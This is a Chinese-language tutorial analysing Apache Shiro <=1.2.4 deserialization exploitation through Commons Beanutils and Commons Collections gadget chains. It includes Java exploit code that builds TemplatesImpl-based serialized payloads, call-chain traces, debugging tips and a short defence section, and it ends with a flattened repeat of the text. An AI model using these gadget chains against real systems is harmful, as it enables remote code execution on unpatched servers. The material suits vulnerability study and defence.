shiro结合CB和CC依赖的利用
字数 1526 2025-08-24 07:48:22

Apache Shiro反序列化漏洞利用分析(结合CB和CC依赖)

1. 漏洞简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。在Shiro版本<=1.2.4中,存在反序列化漏洞,攻击者可以通过构造特定的序列化数据,结合Commons Beanutils(CB)或Commons Collections(CC)依赖实现远程代码执行。

2. 环境搭建

  1. 获取Shiro源码(版本<=1.2.4):

    https://github.com/apache/shiro
    
  2. 修改shiro/samples/web目录下的pom.xml:

    • 添加jstl依赖(避免JSP解析错误):
      <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>jstl</artifactId>
        <version>1.2</version>
        <scope>provided</scope>
      </dependency>
      
  3. 添加漏洞利用所需的依赖:

    <dependency>
      <groupId>commons-beanutils</groupId>
      <artifactId>commons-beanutils</artifactId>
      <version>1.9.2</version>
    </dependency>
    <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
    </dependency>
    

3. 基于Commons Beanutils(CB)的利用

3.1 EXP代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CBtest {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
        
        // TemplateImpl类
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "360");
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // BeanComparator类
        BeanComparator beanComparator = new BeanComparator();
        
        // 创建新的队列,并添加恶意字节码
        PriorityQueue queue = new PriorityQueue(360, beanComparator);
        queue.add(1);
        queue.add(1);
        
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        
        serialize(queue);
        unserialize("serCB.bin");
    }
    
    // 辅助方法省略...
}

3.2 漏洞分析

  1. 调用链

    getOutputProperties:507,TemplatesImpl
    invoke0:-1,NativeMethodAccessorImpl
    invoke:62,NativeMethodAccessorImpl
    invoke:43,DelegatingMethodAccessorImpl
    invoke:497,Method
    invokeMethod:2116,PropertyUtilsBean
    getSimpleProperty:1267,PropertyUtilsBean
    getNestedProperty:808,PropertyUtilsBean
    getProperty:884,PropertyUtilsBean
    getProperty:464,PropertyUtils
    compare:163,BeanComparator
    siftDownUsingComparator:721,PriorityQueue
    siftDown:687,PriorityQueue
    heapify:736,PriorityQueue
    readObject:795,PriorityQueue
    
  2. 关键点

    • PriorityQueue的readObject方法会调用heapify方法
    • heapify方法调用siftDown,进而调用siftDownUsingComparator
    • siftDownUsingComparator会执行comparator.compare方法(BeanComparator)
    • BeanComparator的compare方法通过PropertyUtils.getProperty执行任意getter方法
    • 传入TemplatesImpl的getOutputProperties方法触发代码执行
  3. 注意点

    • 需要先给beanComparator和queue赋正常值,在queue.add完之后再反射修改为恶意值
    • 这样可以避免恶意对象提前执行

4. 基于Commons Collections(CC)的利用

4.1 EXP代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CCtest {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
        HashMap<Object, Object> map1 = new HashMap<>();
        map1.put(tiedMapEntry, "bbb");
        
        lazymap.remove(templates);
        
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, invokerTransformer);
        
        serialize(map1);
        unserialize("serCC.bin");
    }
    
    // 辅助方法省略...
}

4.2 漏洞分析

  1. 调用链

    transform:133,InvokerTransformer
    get:158,LazyMap
    getValue:74,TiedMapEntry
    hashCode:121,TiedMapEntry
    hash:338,HashMap
    readObject:1397,HashMap
    
  2. 关键点

    • HashMap的readObject方法会对key调用hash()方法
    • hash()方法调用key的hashCode()方法(TiedMapEntry)
    • TiedMapEntry的hashCode()调用getValue()
    • getValue()调用map.get(key)(LazyMap)
    • LazyMap的get方法会执行factory.transform(key)
    • 通过反射将factory设置为InvokerTransformer
    • InvokerTransformer的transform方法反射调用恶意对象的newTransformer方法
  3. 注意点

    • TiedMapEntry构造函数会将key赋值给lazymap,导致流程无法进入if语句
    • 需要在最后反射清除key:lazymap.remove(templates)

5. 调试技巧

  1. IDEA调试问题

    • IDEA可能会自动触发某些函数导致payload提前执行
    • 需要选择合适的断点位置,避免IDE自动调用
  2. 关键断点位置

    • 对于CB利用:PriorityQueue的readObject方法
    • 对于CC利用:HashMap的readObject方法

6. 总结

  1. 两种利用方式的区别

    • CB利用:通过BeanComparator的compare方法触发getter
    • CC利用:通过HashMap的hashCode触发LazyMap的transform
  2. 共同点

    • 都需要使用TemplatesImpl加载恶意字节码
    • 都需要通过反射设置关键属性
    • 都需要注意避免payload提前执行
  3. 防御建议

    • 升级Shiro到最新版本
    • 避免使用已知存在漏洞的依赖版本
    • 实施安全的反序列化策略

通过深入理解这两种利用方式,可以更好地防御和检测Shiro反序列化漏洞,同时也能在安全测试中有效验证系统的安全性。

Apache Shiro反序列化漏洞利用分析(结合CB和CC依赖) 1. 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。在Shiro版本 <=1.2.4中,存在反序列化漏洞,攻击者可以通过构造特定的序列化数据,结合Commons Beanutils(CB)或Commons Collections(CC)依赖实现远程代码执行。 2. 环境搭建 获取Shiro源码(版本 <=1.2.4): 修改shiro/samples/web目录下的pom.xml: 添加jstl依赖(避免JSP解析错误): 添加漏洞利用所需的依赖: 3. 基于Commons Beanutils(CB)的利用 3.1 EXP代码 3.2 漏洞分析 调用链 : 关键点 : PriorityQueue的readObject方法会调用heapify方法 heapify方法调用siftDown,进而调用siftDownUsingComparator siftDownUsingComparator会执行comparator.compare方法(BeanComparator) BeanComparator的compare方法通过PropertyUtils.getProperty执行任意getter方法 传入TemplatesImpl的getOutputProperties方法触发代码执行 注意点 : 需要先给beanComparator和queue赋正常值,在queue.add完之后再反射修改为恶意值 这样可以避免恶意对象提前执行 4. 基于Commons Collections(CC)的利用 4.1 EXP代码 4.2 漏洞分析 调用链 : 关键点 : HashMap的readObject方法会对key调用hash()方法 hash()方法调用key的hashCode()方法(TiedMapEntry) TiedMapEntry的hashCode()调用getValue() getValue()调用map.get(key)(LazyMap) LazyMap的get方法会执行factory.transform(key) 通过反射将factory设置为InvokerTransformer InvokerTransformer的transform方法反射调用恶意对象的newTransformer方法 注意点 : TiedMapEntry构造函数会将key赋值给lazymap,导致流程无法进入if语句 需要在最后反射清除key: lazymap.remove(templates) 5. 调试技巧 IDEA调试问题 : IDEA可能会自动触发某些函数导致payload提前执行 需要选择合适的断点位置,避免IDE自动调用 关键断点位置 : 对于CB利用:PriorityQueue的readObject方法 对于CC利用:HashMap的readObject方法 6. 总结 两种利用方式的区别 : CB利用:通过BeanComparator的compare方法触发getter CC利用:通过HashMap的hashCode触发LazyMap的transform 共同点 : 都需要使用TemplatesImpl加载恶意字节码 都需要通过反射设置关键属性 都需要注意避免payload提前执行 防御建议 : 升级Shiro到最新版本 避免使用已知存在漏洞的依赖版本 实施安全的反序列化策略 通过深入理解这两种利用方式,可以更好地防御和检测Shiro反序列化漏洞,同时也能在安全测试中有效验证系统的安全性。